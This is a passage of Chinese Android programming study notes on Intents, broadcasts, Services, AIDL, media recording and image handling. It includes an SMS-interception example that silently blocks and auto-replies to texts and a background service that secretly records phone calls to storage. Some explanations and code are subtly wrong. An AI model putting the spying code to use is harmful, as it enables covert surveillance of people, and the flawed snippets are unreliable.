}
-------------------------------------------------------------------------------------------------------------------------
25 使用意图Intent打开另一个界面:
l 显示意图:同一应用里面,用来调用自己的界面acativity
必须知道另一个activity的包名,类名,
Intent类
// 显示意图1: 必须要指定开启组件的具体信息( 包名, 组件名, 组件的class) OtherScreenActivity自己创建的acativity
Intent intent = new Intent(this,OtherScreenActivity.class);
//intent.setClassName(this,"com.itheima.twoactivity.OtherScreenActivity");
startActivity(intent);//开启这个activity
//cmp=com.android.gallery/com.android.camera.GalleryPicker
Intent intent = new Intent();
// 显示意图1: 必须要指定开启组件的具体信息( 包名, 组件的全类名)
intent.setClassName(StringpackageName, String className);//可以调用系统的界面
startActivity(intent);
l 隐式意图:用于调用其它应用程序的界面,或者让别的应用调用自己的界面。
根据data内容,查找能打开的所有应用,让用户选择
//采用隐式意图 激活第三个界面
Stringnumber="13138794688";
Intent intent=new Intent();
intent.setAction(Intent.ACTION_CALL);
//设置指定格式的数据
intent.setData(Uri.parse("tel:"+number));
//开启这个调用程序的容器
startActivity(intent);
l 自定义隐式意图:
2:根据AndroidManifest.xml配置的信息,设置数据,以调用这个acativity
Intent intent = new Intent();
intent.setAction("com.itheima.xxx");
intent.addCategory(Intent.CATEGORY_DEFAULT);
//指定数据的类型.
//intent.setType("vnd.android.cursor.item/haha");//调用这个方法时会清空data数据
//intent.setData(Uri.parse("itheima:gagaga"));//调用这个方法时会清空type数据
intent.setDataAndType(Uri.parse("itheima:gagaga"),"vnd.android.cursor.item/haha");
startActivity(intent);
1:在AndroidManifest.xml配置这个acativity信息
<activity
android:name="com.itheima.twoactivity.OtherScreenActivity"
android:icon="@drawable/ic_scanner_malware"
android:label="@string/activity02" >
<intent-filter>
<actionandroid:name="com.itheima.xxx" />
<data
android:mimeType="vnd.android.cursor.item/haha"
android:scheme="itheima" >
</data>
<categoryandroid:name="android.intent.category.DEFAULT" >
</category>
</intent-filter>
</activity>
-------------------------------------------------------------------------------------------------------------------------
26 MainActivity.this.getSystemService()方法,获得系统的服务
例子:获得用户的网络状态,如果网络不可用,提示用户确认后跳转到网络设置界面
//传入的类型,获得连接管理对象 ConnectivityManager cm =(ConnectivityManager)MainActivity.this.getSystemService(Context.CONNECTIVITY_SERVICE);
NetworkInfo info =cm.getActiveNetworkInfo();//调用连接管理的方法,获得网络信息
// 检查用户的网络情况.
if (info != null &&info.isConnected()) {
Toast.makeText(MainActivity.this,"网络可用", 0).show();
} else {
Toast.makeText(MainActivity.this,"网络不可用", 0).show();
// 定向用户到系统网络设置的界面
//com.android.settings/.WirelessSettings
//1.创建对话框的构造器
AlertDialog.Builder builder = new Builder(this);
builder.setTitle("提醒");
builder.setMessage("当前网络不可用,点击确定请设置网络");
builder.setPositiveButton("确定", new OnClickListener() {
public voidonClick(DialogInterface dialog, int which) {
Intentintent = new Intent();//显式意图,跳转到另一个系统界面
intent.setClassName("com.android.settings","com.android.settings.WirelessSettings");
startActivity(intent);
}
});
builder.create().show();//显示对话框
-------------------------------------------------------------------------------------------------------------------------
27 设置软件界面的横竖屏:
默认情况下,当界面横竖屏切换后,会重新创建acivity(调用onResume,onStop,onDestroy,onCreate,onStart,onPause,)
想要让其不重新创建可以在清单文件中的这个activity中添加android:configChanges="keyboardHidden|orientation|screenSize"
如果想锁死软件界面的方向,可添加android:screenOrientation="portrait"
<application
android:allowBackup="true"
android:icon="@drawable/ic_launcher"
android:label="@string/app_name"
android:theme="@style/AppTheme" >
<activity
android:screenOrientation="portrait" //设置仅可以使用坚屏或者是横屏
android:configChanges="keyboardHidden|orientation|screenSize"//设置当界面横竖屏切换后,不会重新创建activity,数据不会重新加载
android:name="com.itheima.lifecycle.MainActivity"
android:label="@string/activity01" >
<intent-filter>
<actionandroid:name="android.intent.action.MAIN" />
<categoryandroid:name="android.intent.category.LAUNCHER" />
</intent-filter>
</activity>
</application>
28 Activity 的生命周期:
onCreate(创建),onStart(用户可见),onPause(获得焦点),onResume(失去焦点),onStop(用户不可见),onDestroy(销毁)
l Activity的完整生命周期 自第一次调用onCreate()开始,直至调用onDestroy()为止。Activity在onCreate()中设置所有“全局”状态以完成初始化,而在onDestroy()中释放所有系统资源。例如,如果Activity有一个线程在后台运行从网络下载数据,它会在onCreate()创建线程,而在 onDestroy()销毁线程。
l Activity的可视生命周期自onStart()调用开始直到相应的onStop()调用结束。在此期间,用户可以在屏幕上看到Activity, 尽管它也许并不是位于前台或者也不与用户进行交互。在这两个方法之间,我们可以保留用来向用户显示这个Activity所需的资源。例如,当用户不再看见我们显示的内容时,我们可以在onStart()中注册一个BroadcastReceiver来监控会影响UI的变化, 而在onStop()中来注消。onStart() 和 onStop() 方法可以随着应用程序是否为用户可见而被多次调用。
l Activity的前台生命周期 自onResume()调用起,至相应的onPause()调用为止。在此期间,Activity位于前台最上面并与用户进行交互。Activity会经常在暂停和恢复之间进行状态转换——例如当设备转入休眠状态或者有新的Activity启动时,将调用onPause() 方法。当Activity获得结果或者接收到新的Intent时会调用onResume() 方法
-------------------------------------------------------------------------------------------------------------------------
29 打开一个新的activity并获得返回的数据
1:在当前activity中,用startActivityForResult方法打开新的activity
Intent intent = new Intent();
intent.setClass(this,SelectContactActivity.class);
// 如果想打开新的activity并获取返回数据,就要调用这个方法,并且重写onActivityResult()方法
this.startActivityForResult(intent,0);
2:在新打开的activity里面,使用setResult()将数据(Intent对象)传回来
Intent data = new Intent();
data.putExtra("number",contactInfo.getNumber());//封装想返回的数据
data.putExtra("name",contactInfo.getName());
setResult(0, data);
// 这个方法被调用后,会关闭当前activity,并将result传回给调用者activity
finish();
3:finish()调用后,会关闭新打开的窗口回到原来的activity重写onActivityResult方法处理返回的数据
protected void onActivityResult(int requestCode, int resultCode, Intentdata) {
super.onActivityResult(requestCode,resultCode, data);
number =data.getStringExtra("number");
String name =data.getStringExtra("name");
et_number.setText(name +":" + number);
}
-------------------------------------------------------------------------------------------
30 打开一个新的activity并获得传过去的数据
在主窗口中new出一个意图,并且封装好要传递的数据,然后调用startActivity()方法开启新的窗口
Intent intent=new Intent();
intent.setClass(this,ResultActivity.class);
intent.putExtra("name",name);
this.startActivity(intent);
在被开启的窗口中,调用activity里面的getIntert方法,获得传过来的intert。
Intent intent = this.getIntent();
String name =intent.getStringExtra("name");
-------------------------------------------------------------------------------------------------------------------------
2015/4/1
31 广播:
31.1 广播分类
n 无序(普通)广播:所有的广播接受者都会接受到这个事件
n 有序广播:广播接收者会按照优先级 接受到广播事件
n 粘性消息:粘性消息在发送后就一直存在于系统的消息容器里面,等待对应的处理器去处理,
如果暂时没有处理器处理这个消息则一直在消息容器里面处于等待状态。 removeStickyBroadcast(intent);
31.2 注册广播接收器
⑴ 态注册:
IntentFilterintentFilter = new ("android.provider.Telephony.SMS_RECEIVED");
intentFilter.setPriority(0);
registerReceiver(BroadcastReceiverreceiver,IntentFilter filter);
⑵ 动态解除注册:
unregisterReceiver(BroadcastReceiverreceiver);
⑶ 静态注册:
<receiverandroid:name="com.zhong.ipcall.receive.IpBroadcastReceiver" >
<intent-filter>
<actionandroid:name="android.intent.action.NEW_OUTGOING_CALL" />
</intent-filter>
</receiver>
31.3 自定义广播处理器类:
BroadcastReceiver 类 广播接收者 :利用广播接收者可以监听系统的应用的一些动作,比如向外打了一个电话,
广播接收者的action:
android.provider.Telephony.SMS_RECEIVED 接收到信息
android.intent.action.NEW_OUTGOING_CALL 新的向外拨号
1:新建一个类继承BroadcastReceiver
getResultData();//获得当前监听的操作返回来的内容,比如拨号时返回的电话号码 setResultData(String);/设置当前监听动作的内容
2:在文件清单AndroidManifest.xml中配置<receiver>节点,配置要监听的内容
------------------------------------------------------------------------------------------------------
32 ip拨号:
例子1:使用广播接收者监听系统拨号服务,然后在拨打电话号码前添加ip号码
1:编写窗口和处理前端数据
public class MainActivity extendsActivity {
private EditText editText;
private SharedPreferencessp;
protected voidonCreate(Bundle savedInstanceState) {
super.onCreate(savedInstanceState);
setContentView(R.layout.activity_main);
editText=(EditText)findViewById(R.id.et_ipnum);
sp=getSharedPreferences("config",this.MODE_WORLD_WRITEABLE);
//读取config中文件的内容显示在介面上
Stringip=sp.getString("ipNumber", "");
editText.setText(ip);
}
//将用户输入的内容保存到config文件中
public void settingIp(Viewview) {
StringipNumber=editText.getText().toString().trim();
Editoreditor=sp.edit();
editor.putString("ipNumber",ipNumber);
editor.commit();
Toast.makeText(this,"设置成功", 0).show();
}
}
1:广播接收者的创建子类
public class IpBroadcastReceiverextends BroadcastReceiver {
public voidonReceive(Context context, Intent intent) {
String number =getResultData();//获得当前监听的操作返回来的内容
SharedPreferences sp= context.getSharedPreferences("config",Context.MODE_PRIVATE);
//获得设置好的并保存在config文件中的ip号码
String ipNumber =sp.getString("ipNumber", "");
String newNumber =null;
if(!number.startsWith(ipNumber)) {
newNumber =ipNumber + number;
} else {
newNumber =number;
}
setResultData(newNumber);//设置当前监听动作的内容
abortBroadcast();//中止当前这条广播,如果高优先级的广播接收者中止了广播,优先级低的广播接收者就不会接收到
}
}
2:配置清单文件
<!-- 定义了一个广播接受者 new出来了一个收音机 ,设置action 就相当于设置了监听的频道 -->
<receiverandroid:name="com.zhong.ipcall.receive.IpBroadcastReceiver" >
<intent-filter>
<actionandroid:name="android.intent.action.NEW_OUTGOING_CALL" />
</intent-filter>
</receiver>
--------------------------------------------------------------------------------------------------
33 例子2:短信窃听器
//利用广播接收者监听收到的信息,然后可以使用abortBroadcast()方法时行栏载,或者将短信发送给服务器
需要的权限:android.permission.SEND_SMS //<uses-permissionandroid:name="android.permission.RECEIVE_SMS" />
public class SmsReceiver extendsBroadcastReceiver {
@Override
public voidonReceive(Context context, Intent intent) {
//系统会将信息封装到intent中传递过来
Object[] pdus =(Object[]) intent.getExtras().get("pdus");//系统默认是这样封装短信内容的
for (Object pdu :pdus) {
SmsMessagesmsMessage = SmsMessage.createFromPdu((byte[]) pdu);//将传过来的数据转换成一条短信
String body =smsMessage.getMessageBody();
String sender= smsMessage.getOriginatingAddress();
System.out.println("body:"+ body);
System.out.println("sender:"+ sender);
if("5556".equals(sender)) {
// 短信的拦截,高优先级的广播接收者栏载后,低优先级的就不能接收到
abortBroadcast();
SmsManagersmsManager = SmsManager.getDefault();
smsManager.sendTextMessage(sender,null, "我已经喜欢上 xxx了 ,你去死吧", null, null);
}
}
}
}
<receiverandroid:name=".SmsReceiver" >
<intent-filter android:priority="1000">//广播接收者的优先级 -10000>>>10000越大,优先级越高
<actionandroid:name="android.provider.Telephony.SMS_RECEIVED" />
</intent-filter>
</receiver>
34 发送自定义广播消息:
l 无序(普通)广播:所有的广播接受者都会接受到这个事件
Intent intent = new Intent();
intent.setAction("com.zhong.MY_PREOOXXYY");
//sendBroadcast(intent);
l 有序广播:广播接收者会按照优先级 接受到广播事件
有序广播 特点: 高优先级的广播接受者 可以abortBroadcast();终止掉 广播事件
Intent intent = new Intent();
intent.setAction("com.zhong.MY_PREOOXXYY");
sendOrderedBroadcast(intent, null);
防止有序广播被栏载删掉
//这里第三个参数接收一个广播接收者,即使高优先级的广播接收者调用abortBroadcast()方法中止了广告,
FinalRecevier最后还是会收到的(系统拨号器)
Intent intent = new Intent();
intent.setAction("com.zhong.MY_PREOOXXYY");
sendOrderedBroadcast(intent, null,new FinalRecevier(), null, 0, null, null);
public class FinalRecevier extendsBroadcastReceiver {
@Override
public voidonReceive(Context context, Intent intent) {
System.out.println("我是final的receiver");
}
}
l 粘性消息:粘性消息在发送后就一直存在于系统的消息容器里面,等待对应的处理器去处理,
如果暂时没有处理器处理这个消息则一直在消息容器里面处于等待状态。
Intent intent = new Intent();
intent.setAction("com.zhong.MY_PREOOXXYY");
Android_09_10Activity.this.sendStickyBroadcast(intent);
想发送粘性消息的时候必须在配置文件里面获取权限:
<uses-permission android:name="android.permission.BROADCAST_STICKY"/>
接收自定义的广播:和接收系统提供的广播一样。
public class MyBroadcastReceiverextends BroadcastReceiver {
public voidonReceive(Context context, Intent intent) {
System.out.println("reveriver1 接收到了广播");
Toast.makeText(context,"检查到了 自定义的广播事件", 1).show();
}
}
<receiverandroid:name=".MyBroadcastReceiver" >
<intent-filter android:priority="1000">
<actionandroid:name="com.itheima.xxxooo" >//接收自定义广播,只要这里设置和自己定义的intent.setAction("com.itheima.xxxooo");一样就行
</action>
</intent-filter>
</receiver>
35 Service 服务:
不依赖于应用程序的关闭而关闭,会一直在后台运行,除非用户手动关闭。
一:本地服务,Local Service 用于应用程序内部
35.1 生命周期:
1:使用startServeice()开启服务的生命周期 -->一直在后台运行
context.startService() ->onCreate()- >onStart()->Servicerunning--调用context.stopService()(或者用户强行关闭服务) ->onDestroy()
2:使用bindService()绑定方法开启服务的生命周期 -->activity退出时自动关闭
context.bindService()->onCreate()->onBind()->Servicerunning--调用context.unbindService()(activity退出时自动关闭) >onUnbind()-> onDestroy()
启动和关闭服务:
l 1:普通方式:用Context.startService()启动,
Intentintent=new Intent(this,CallStatusListenerService.class);
startService(intent);
调用Context.stopService()结束。
Intentintent=new Intent(this,CallStatusListenerService.class);
stopService(intent);
在内部可以调用Service.stopSelf()或 Service.stopSelfResult()来自己停止。
无论调用了多少次startService(),都只需调用一次stopService()来停止。
l 2:绑定方式:调用bindService()方法启动服务时候,如果服务需要与activity交互,则通过服务里面的onBind方法返回IBinder
Intent intent=newIntent(this,LocalService.class);
bindService(Intent service, ServiceCofingconn, int flags);
调用unbindService()方法解除绑定服务,或者activity退出时自动关闭(但是由于服务还没解绑,service会连接引用,所以当activity退出时,
后台会打印异常,所以当activity退出时,最好调用unbindService())
unbindService(ServiceConnection conn);//这个conn要与绑定服务bindService(,conn,)当时传入的对象同一个对象
//服务会调用onUnbind()方法
35.2 电话窃听器:
使用普通方式开启本地服务:例子,用服务在后台监听来电状态。当接通电话时,进行后台录音保存录音文件到sd卡中
1:编写类继承service类:实现相对就的方法
public class CallStatusListenerServiceextends Service {
@Override
public IBinderonBind(Intent intent) {
return null;
}
@Override
public void onCreate() {
super.onCreate();
System.out.println("服务被创建了...");
TelephonyManagertelephonyManager = (TelephonyManager) getSystemService(TELEPHONY_SERVICE);
telephonyManager.listen(newMyPhoneStateListener(),PhoneStateListener.LISTEN_CALL_STATE);
// 监听电话状态
}
private classMyPhoneStateListener extends PhoneStateListener {
//媒体录制器(音频,视频)
privateMediaRecorder recorder;
privateSimpleDateFormat ds=new SimpleDateFormat("yy-MM-dd HH:mm:ss");
public voidonCallStateChanged(int state, String incomingNumber) {
super.onCallStateChanged(state,incomingNumber);
try {
switch(state) {
caseTelephonyManager.CALL_STATE_IDLE:// 空闲状态 ,没有通话 没有响铃
System.out.println("正常状态");
if(recorder != null) {
recorder.stop();
recorder.reset();// You can reuse the object by going back to setAudioSource() step
recorder.release();// Now the object cannot be reused
recorder= null;
}
break;
caseTelephonyManager.CALL_STATE_RINGING:// 响铃状态.
System.out.println("发现来电号码" + incomingNumber);
recorder= new MediaRecorder();
recorder.setAudioSource(MediaRecorder.AudioSource.MIC);//录取麦克风的声音
recorder.setOutputFormat(MediaRecorder.OutputFormat.THREE_GPP);//设置文件格式3gp
recorder.setAudioEncoder(MediaRecorder.AudioEncoder.AMR_NB);//设置音频的编码格式
recorder.setOutputFile("/sdcard/"+ incomingNumber
+":"+ds.format(new Date())+ ".3gp");
recorder.prepare();//通知录音机准备开始工作
break;
caseTelephonyManager.CALL_STATE_OFFHOOK:// 通话状态
System.out.println("接通电话");
if(recorder != null) {
recorder.start();// Recording is now started
}
break;
}
} catch(Exception e) {
e.printStackTrace();
}
}
}
public void onDestroy() {
super.onDestroy();
System.out.println("服务被销毁了...");
}
}
2:在清单文件中配置这个服务:
<serviceandroid:name="com.zhong.androidservice.CallStatusListenerService"></service>
3:启用这个服务:
//开启服务
Intent intent=newIntent(this,CallStatusListenerService.class);
startService(intent);
4:代码关闭服务
//开启服务
Intent intent=newIntent(this,CallStatusListenerService.class);
stopService(intent);
----------------------------------------------------------------------
35.3 第一种调用服务里面特有方法的方案:
使用绑定方式开启本地服务:用于调用服务里面的特有方法
当想调用自定义服务类里面特有的方法时,用直接startService()这个方法是不可能实现的,因为并没有返回这个服务的对象。
自己使用new的方式也不可行,因为这样系统没有给service对象初始化,调用方法时会生产空指针异常。
绑定服务方式:当使用bindService()开启服务时,服务会先调用onCreate(方法初始化,然后调用onBind()方法。
onBind()方法会返回一个IBinder服务代理对象,你可以实现这个接口或者继续Binder类,然后在这个子类里编写方法调用service的方法。
bindService()第二个参数是ServiceConnection对象,服务一旦连接,就会调用onServiceConnected方法接收服务里面onBind()返回的对象.
得到这个返回对象后,就可以调用相应方法间接操作服务了。
1:编写服务类:
public classCallStatusListenerService extends Service {
@Override
public IBinderonBind(Intent intent) {
System.out.println("服务被绑定创建了...");
return new MyBinder();
}
public class MyBinderextends Binder {
public voidmyMothodForService(String name){
myMothod(name);
}
}
/**
*服务自己的特有方法。想在activity里面调用,只能使用绑定服务的方法调用
**/
public void myMothod(Stringname) {
Toast.makeText(getApplicationContext(),"我的服务自定义方法即行了" + name, 0).show();
}
@Override
public void onCreate() {
super.onCreate();
System.out.println("服务被创建了...");
}
public void onDestroy() {
super.onDestroy();
System.out.println("服务被销毁了...");
}
}
2:在activity里面使用绑定的方法开启服务
private MyServiceConnection conn;
public void bind(View view){
//绑定开启服务
Intent intent=new Intent(this,CallStatusListenerService.class);
conn=new MyServiceConnection();
bindService(intent, conn,Context.BIND_AUTO_CREATE);
}
private class MyServiceConnectionextends ServiceConnection{
public void onServiceConnected(ComponentName componentName, IBinderbinder) {
MyBinderservice=(MyBinder).getService();//得到service里面onBind()方法返回的对象
service.myMothodForService("间接调用service里面的方法");
}
public void onServiceDisconnected(ComponentName componentName) {
localService=null;
//这里可以提示用户
}
}
//解绑停止服务(当activity退出的时候也会退出服务,不过由于没有解绑,后台会打印异常)
public void unBind(View view){
unbindService(conn);//这个对象要与绑定时方法传入的哪个对象为同一对象,所以这个对象要是一个成员变量
}
35.4 第二种调用服务里面特有方法的方案:
利用广播接收者来调用服务里面的特有方法
1: 在activity里面发送自定义广播事件。并启动这个服务
Intent intent=new Intent();
intent.setAction("com.zhong.CALLMETHOD");
sendBroadcast(intent);
2: 在service类里面编写广播接收者的子类。并且动态注册刚刚创建的广播事件。
在广播接收者的onReceive方法类直接调用服务的方法
public class MySerivce extendsService {
private BroadcastReceiverreceiver;
//服务里面的方法
private voidmethodInService() {
System.out.println("服务内部的方法被调用了");
Toast.makeText(this,"服务内部的方法被调用了", 0).show();
}
private classMyBroadcastReceiver extends BroadcastReceiver{
public void onReceive(Contextcontext, Intent intent) {
methodInService();//直接调用服务的内部方法
}
}
public void onCreate() {
System.out.println("服务被创建了");
IntentFilterintentFilter=new IntentFilter("com.zhong.CALLMETHOD");//动态注册广播接收者
receiver=new MyBroadcastReceiver();
registerReceiver(receiver,intentFilter);
super.onCreate();
}
@Override
public void onDestroy() {
System.out.println("服务被销毁了");
unregisterReceiver(receiver);//去除注册
super.onDestroy();
}
}
-------------------------------------------------------------------
需求: 既要保证服务长期的在后台运行,又想去调用服务里面的方法.
技巧: 1.先开启服务 2.绑定服务.
步骤:1.开启服务startService()- oncreate();
2.绑定服务bindService() - onbind();
3.关闭程序 ,调用者退出, 服务被解绑.
4.stopService() 停止服务.
注意: 1.activity退出前要解绑服务,要不后台会打印异常
2.服务只能被解绑一次,
3.如果怕忘记解绑服务,可以写在activity的onDestroy()方法里面
----------------------------------------------------------------------------------------------------------------------
35.5 AIDL远程服务(Remote Service)调用其它应用程序的服务。使用AIDL与远程服务实现进程通信
AIDL (Android Interface Definition Language) 是一种IDL 语言,用于生成可以在Android设备上两个进程之间进行进程间通信(interprocess communication, IPC)的代码。
如果在一个进程中(例如Activity)要调用另一个进程中(例如Service)对象的操作,就可以使用AIDL生成可序列化的参数。
AIDL IPC机制是面向接口的,像COM或Corba一样,但是更加轻量级。它是使用代理类在客户端和实现端传递数据。
远程服务和本地服务一样,只是返回的Binder对象不同。远程服务返回的Binder对象是一个aidl的类型接口。
服务提供应用:
1:抽象Binder接口
public interface IsService{
void myMothodForService(Stringname);
}
2:将IsService这个接口的后序名.java改成.aidl
工具会自动在项目的gen目录中同步生成IsService.java接口文件.
接口文件中生成一个Stub的抽象类,里面包括aidl定义的方法,还包括一些其它辅助方法。
值得关注的是asInterface(IBinder iBinder),它返回接口类型的实例,对于远程服务调用,
远程服务返回给客户端的对象为代理对象,客户端在onServiceConnected(ComponentName name,IBinder service)
方法引用该对象时不能直接强转成接口类型的实例,而应该使用asInterface(IBinder iBinder)进行类型转换。
3:编写服务类:
public class PlayService extendsService {
@Override
public IBinderonBind(Intent intent) {
System.out.println("服务被绑定创建了...");
return new MyBinder();
}
public class MyBinderextends IsService.Stub {//实现自动生成的哪个接口里面的子类
public voidplayForService(String name){
play(name);
}
}
/**
*服务自己的特有方法。想在activity里面调用,只能使用绑定服务的方法调用
**/
private void play(Stringname) {
Toast.makeText(getApplicationContext(),"我的服务自定义方法即行了" + name, 0).show();
}
@Override
public void onCreate() {
super.onCreate();
System.out.println("服务被创建了...");
}
public void onDestroy() {
super.onDestroy();
System.out.println("服务被销毁了...");
}
}
4:在清单文件中配置这个Service,并配置这个服务的隐式意图
<serviceandroid:name="com.zhong.androidservice.CallStatusListenerService">
<intent-filter>
<actionandroid:name="com.zhong.play"/>//其它应用可以根据这个name使用隐式意图调用这个服务
</intent-filter>
</service>
另一个使用服务的程序:
1:也要创建一个包名和名字一样的Binder接口IsService.aidl文件。(代表和它的应用一样的接口)
2:绑定开启其它应用的服务
Intent intent = new Intent();
intent.setAction("com.zhong.play");
bindService(intent, newServiceConnection() {
public voidonServiceConnected(ComponentName name, IBinder service) {
IsService is=IsService.asInterface(service);
}
public voidonServiceDisconnected(ComponentName name) {
}
}, BIND_AUTO_CREATE);
-------------------------------------------------------------------------------------------------------------------------
36 MediaRecorder类 :音频视频录制,可以录音和录制视频。用于通话录音
MediaRecorder recorder = new MediaRecorder();
recorder.setAudioSource(MediaRecorder.AudioSource.MIC);//设置音频录制源 MIC麦克风
//recorder.setVideoSource(MediaRecorder.VideoSource.CAMERA);设置视频录制源
recorder.setOutputFormat(MediaRecorder.OutputFormat.THREE_GPP);//设置音频格式
recorder.setAudioEncoder(MediaRecorder.AudioEncoder.AMR_NB);//设置音频编码格式
//recorder.setVideoEncoder(MediaRecorder.VideoEncoder.H264);//设置视频编码格式
recorder.setOutputFile("sdcard/abc.3gp");//设置输出文件路径
recorder.prepare();通知录音机准备开始工作
recorder.start(); // Recording is now started
...
recorder.stop();
recorder.reset(); // You can reuse the object by going back tosetAudioSource() step
recorder.release(); // Now the object cannotbe reused
-----------------------------------------------------------------------------------------
2015/4/4
37 图片的缩放显示
1:直接把图片加载到内存 可能内存会消耗完毕,造成虚拟机内存溢出
// 采用缩放的方式 把图片加载到imagview里面.
// 1:得到图片的宽度
Options opts = new Options();
opts.inJustDecodeBounds = true;// 只是读取图片信息,不真正加载图片
BitmapFactory.decodeFile("/sdcard/a.jpg",opts);
int imageWidth = opts.outWidth;
int imageHeight = opts.outHeight;
// 2:得到屏幕的宽度
WindowManager windowManager =(WindowManager) getSystemService(Context.WINDOW_SERVICE);
Display display =windowManager.getDefaultDisplay();
int screenWidth =display.getWidth();
int screenHeith =display.getHeight();
// 3:计算出缩放比例
if (imageHeight > screenHeith|| imageWidth > screenWidth) {
int scaleY = imageHeight /screenHeith;
int scaleX = imageWidth /screenWidth;
if (scaleX > scaleY) {
opts.inSampleSize =scaleX;// 按照水平方向的比例缩放
} else {
opts.inSampleSize =scaleY;// 按照竖直方向的比例缩放
}
} else {
opts.inSampleSize = 1;// 如果图片比屏幕小,就不缩放
}
opts.inJustDecodeBounds = false;//让位图工厂真正去加载图片
Bitmap bm =BitmapFactory.decodeFile("/sdcard/a.jpg", opts);
iv.setImageBitmap(bm);
// Toast.makeText(this, "宽:" + imageWidth + "高:" + imageHeight,
// 0).show();
-----------------------------------------------------------------------------------------
38 图片的缩放与旋转 :
iv_1=(ImageView)findViewById(R.id.iv_1);
iv_2=(ImageView)findViewById(R.id.iv_2);
Bitmapbitmap=BitmapFactory.decodeResource(getResources(), R.drawable.ic_launcher);//原图
iv_1.setImageBitmap(bitmap);
//缩放后的图,现在还是空白的
BitmapalterBitmap=Bitmap.createBitmap(bitmap.getWidth()*2, bitmap.getHeight()*2,bitmap.getConfig());
Canvas canvas=newCanvas(alterBitmap);
Matrix matrix=new Matrix();
matrix.setScale(2.0f, 2.0f);//缩放比例
/*matrix.setValues(new float[]{
2.0f,0,0,
0,2.0f,0,
0,0,0
});*/
//matrix.setRotate(15);//旋转的角度
matrix.setRotate(180,bitmap.getWidth()/2, bitmap.getHeight()/2);//旋转的角度,后面的是以哪个坐标旋转
Paint paint=new Paint();
paint.setAntiAlias(true);//抗齿
canvas.drawBitmap(bitmap, matrix,new Paint());
iv_2.setImageBitmap(alterBitmap);
-----------------------------------------------------------------------------------------
39 读取相片的Exif信息:
Exif格式就是在JPEG格式头部插入了数码照片的信息,
包括拍摄时的光圈、快门、白平衡、ISO、焦距、日期时间等各种和
拍摄条件以及相机品牌、型号、色彩编码、拍摄时录制的声音
以及全球定位系统(GPS)、缩略图等。简单地说,Exif=JPEG+拍摄参数
ExifInterface exifInfo =new ExifInterface("/sdcard/DCIM/Camera/IMG_20121103_202628.jpg");
String width = exifInfo.getAttribute(ExifInterface.TAG_IMAGE_WIDTH);//根据指定的类型获得想要的信息
String length =exifInfo.getAttribute(ExifInterface.TAG_IMAGE_LENGTH);
String time =exifInfo.getAttribute(ExifInterface.TAG_DATETIME);//拍摄时间
System.out.println(width);
System.out.println(length);
// 更改图片的exif 信息.
//exifInfo.setAttribute(tag, value);
-----------------------------------------------------------------------------------------
40 从图库中选择一张图片:
public void read(View view) {
Intent intent=new Intent();
intent.setAction(Intent.ACTION_PICK);
intent.setType("image/*");
startActivityForResult(intent, 0);
}
//重写activity里面处理intent返回的结果方法
protected void onActivityResult(intrequestCode, int resultCode, Intent data) {
super.onActivityResult(requestCode,resultCode, data);
Uri uri=data.getData();
// Bitmapbm=(Bitmap) data.getExtras().get("data");//获得返回的缩略图
//Bitmapbm1=data.getParcelableExtra("data");//获得返回的缩略图
iv.setImageURI(uri);
}
-----------------------------------------------------------------------------------------
41 Canvas 类:画面
42 Paint 类:画笔
Bitmap bm =Bitmap.createBitmap(320, 359,Bitmap.Config.ARGB_8888);// 创建一个可以被修改的bitmap
43 画画板:
创建一个新的可以修改的BitMap,然后添加个触摸事件,当手指滑动的时候,获得滑动的位置,进行画画。
public classMainActivity extends Activity {
private ImageView iv;
private Bitmap baseBitmap;
private Canvas canvas; //创建一个画布
private Paint paint;//画笔
@Override
protected void onCreate(BundlesavedInstanceState) {
super.onCreate(savedInstanceState);
setContentView(R.layout.activity_main);
iv = (ImageView)findViewById(R.id.iv);
paint = new Paint();
paint.setStrokeWidth(5);//画笔的大小
paint.setColor(Color.GREEN);//画笔的色
// 创建一个可以被修改的bitmap
baseBitmap =Bitmap.createBitmap(320, 359,Bitmap.Config.ARGB_8888);
canvas = new Canvas(baseBitmap);//
canvas.drawColor(Color.WHITE);//画布的背景色
// 知道用户手指在屏幕上移动的轨迹
iv.setOnTouchListener(newOnTouchListener() {
//定义手指开始位置的坐标
int startX;
int startY;
@Override
public boolean onTouch(Viewv, MotionEvent event) {
switch(event.getAction()) {
caseMotionEvent.ACTION_DOWN: // 手指第一次接触屏幕
System.out.println("手指按下");
startX =(int) event.getX();
startY =(int) event.getY();
break;
caseMotionEvent.ACTION_MOVE: // 手指在屏幕上滑动
System.out.println("手指移动");
int newX = (int) event.getX();
int newY =(int) event.getY();
canvas.drawLine(startX,startY,newX, newY, paint);//画线
//重新更新画笔的开始位置.
startX = (int)event.getX();
startY =(int) event.getY();
iv.setImageBitmap(baseBitmap);
break;
caseMotionEvent.ACTION_UP:// 手指离开屏幕
break;
}
return true;
}
});
}
public void save(View view) {
try {
File file = new File(Environment.getExternalStorageDirectory(),System.currentTimeMillis()+".jpg");
FileOutputStream stream =new FileOutputStream(file);
baseBitmap.compress(CompressFormat.JPEG,100, stream);//将BitMap保存
stream.close();
Toast.makeText(this, "保存图片成功", 1).show();
//模拟一个消息 通知系统sd卡被重新挂载了.通知系统重新扫描sd卡
Intent intent = newIntent();
intent.setAction(Intent.ACTION_MEDIA_MOUNTED);
intent.setData(Uri.fromFile(Environment.getExternalStorageDirectory()));
sendBroadcast(intent);
} catch (Exception e) {
Toast.makeText(this, "保存图片失败", 1).show();
e.printStackTrace();
}
}
}
----------------------------------------------------------------------------------
44 MediaPlayer 类 :媒体播放器用于播放音频和视频
MediaPlayermediaPlayer=MediaPlayer.create(context,R.raw.xxx);
mediaPlayer.setLoooping(true);//重复
mediaPlayer.start();//开启
例子:mp3播放器
public classMainActivity extends Activity implements OnClickListener {
private EditText et;
private Button bt_play, bt_pause,bt_rePlay, bt_stop;
private MediaPlayer mediaPlayer;
private SurfaceView sv;//播放视频时添加的,显示视频内容的view
protected void onCreate(BundlesavedInstanceState) {
super.onCreate(savedInstanceState);
setContentView(R.layout.activity_main);
et = (EditText)findViewById(R.id.et);
bt_play = (Button)findViewById(R.id.bt_play);
bt_pause = (Button)findViewById(R.id.bt_pause);
bt_rePlay = (Button)findViewById(R.id.bt_replay);
bt_stop = (Button)findViewById(R.id.bt_stop);
sv=(SurfaceView)findViewById(R.id.sv);
bt_play.setOnClickListener(this);
bt_pause.setOnClickListener(this);
bt_rePlay.setOnClickListener(this);
bt_stop.setOnClickListener(this);
}
public void onClick(View v) {
switch (v.getId()) {
case R.id.bt_play:// 播放
play();
break;
case R.id.bt_pause:
pause();
break;
case R.id.bt_replay:
replay();
break;
case R.id.bt_stop:
stop();
break;
}
}
private void stop() {
